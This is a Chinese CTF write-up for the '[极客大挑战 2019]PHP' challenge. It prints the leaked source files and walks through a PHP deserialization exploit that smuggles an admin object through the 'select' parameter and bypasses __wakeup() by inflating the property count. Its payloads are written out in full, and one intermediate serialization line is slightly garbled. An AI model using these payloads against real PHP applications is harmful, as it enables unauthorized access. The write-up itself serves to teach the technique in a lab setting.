[极客大挑战 2019]PHP
[极客大挑战 2019]PHP
打开靶场,敏感的人可能已经发现重点了。
扫描一下备份文件,扫出来了
下载到本地看看里面有什么信息,发现三个重要的php文件源码,看了一下,这题是 php反序列化 。
# index.php
...
<?php
include 'class.php';
$select = $_GET['select']; # 获取参数值
$res=unserialize(@$select); # 对参数反序列化,说明输入的参数是经过序列化之后的
?>
...
# class.php
<?php
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){ # 用来在创建对象时初始化对象, 即为对象成员变量赋初始值,在创建对象的语句中与 new 运算符一起使用。
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){ # 当对象结束其生命周期时(例如对象所在的函数已调用完毕),系统自动执行析构函数。
if ($this->password != 100) { # 如果 password != 100 就输出用户名和密码
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') { # 当 username === admin 才能输出 flag
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?>
# flag.php
<?php
$flag = 'Syc{dog_dog_dog_dog}';
?>
经过分析,已经确定需要提交的参数是 select,而且提交的值是经过序列化之后的值,username=‘admin’,password=‘100’ 才能过。
# 序列化代码
<?php
class Name{
private $username = 'admin';
private $password = '100';
}
$ser = serialize(new Name());
var_dump($ser);
?>
## 结果:"O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:3:'100';}"
提交发现不成功
仔细一点就发现了,我们复制上去的 payload 少了几个空,复制的时候丢了,需要加上去。
# payload
?select=O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}
接着提交的时候发现还是不成功,参考了一下大佬文章找到了原因,并且分析一下。
在类外部使用 serialize() 函数进行序列化的时候,会先调用类内部的 __sleep() 方法,同理在调用 unserialize() 函数的时候会先调用 __wakeup() 方法。
在上面的class中有一个 __wakeup() 方法,调用反序列化函数的时候会先调用了 __wakeup() 方法,但是这个方法有个缺陷,就是当 参数的个数大于实际参数个数的时候就可以跳过执行 __wakeup() 方法。所以修改一下参数个数再提交
# payload
?select=O:4:"Name":12:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}
参考文章:
本文来自博客园,作者:knsec,转载请注明原文链接:https://www.cnblogs.com/knsec-cnblogs/p/16582247.html